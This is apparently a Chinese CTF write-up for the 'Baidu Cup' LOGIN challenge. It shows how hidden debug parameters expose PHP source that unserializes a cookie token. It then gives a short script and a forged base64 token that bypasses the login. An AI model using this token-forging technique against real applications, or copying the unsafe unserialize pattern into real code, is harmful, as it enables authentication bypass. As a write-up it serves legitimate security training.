ctf-wp“百度杯”CTF比赛 十月场-LOGIN

进去题目看到一个登陆框,老规矩,看源码:
在这里插入图片描述
在这里插入图片描述
看起来好像没什么有用的信息,突然发现可以下拉。。。
在这里插入图片描述
找到test1,test1 (差点没发现T—T)
登陆:
在这里插入图片描述
出来了一个莫名其妙的东西。。
上burp抓包看看:
在这里插入图片描述
好像没有什么异常,但是仔细观察,发现返回中有个叫“show”的参数,值为零。尝试将参数show添加到请求,值改为1,看结果:
在这里插入图片描述
源码来了。

<head>
<meta charset="utf-8" />
</head>
<!-- <?php
	include 'common.php';
	$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
	class db
	{
		public $where;
		function __wakeup()
		{
			if(!empty($this->where))
			{
				$this->select($this->where);
			}
		}

		function select($where)
		{
			$sql = mysql_query('select * from user where '.$where);
			return @mysql_fetch_array($sql);
		}
	}

	if(isset($requset['token']))
	{
		$login = unserialize(gzuncompress(base64_decode($requset['token'])));
		$db = new db();
		$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
		if($login['user'] === 'ichunqiu')
		{
			echo $flag;
		}else if($row['pass'] !== $login['pass']){
			echo 'unserialize injection!!';
		}else{
			echo "(╯‵□′)╯︵┴─┴ ";
		}
	}else{
		header('Location: index.php?error=1');
	}

?> -->(╯‵□′)╯︵┴─┴

可以看到想要echo flag,必须得满足:
$login['user'] === 'ichunqiu'
然而token是经过这样处理的:

 $login = unserialize(gzuncompress(base64_decode($requset['token'])));

所以将‘ichunqiu’经过

base64_encode(gzcompress(serialize($token)))

处理然后添加到token才能得到flag

<?php
$a = array('user'=>'ichunqiu');
$a = base64_encode(gzcompress(serialize($a)));
echo $a
?>

执行一下:
在这里插入图片描述
得到:token=eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
添加到cookie中发包:
在这里插入图片描述
bingo

猜你喜欢

转载自blog.csdn.net/key_nothing/article/details/82885020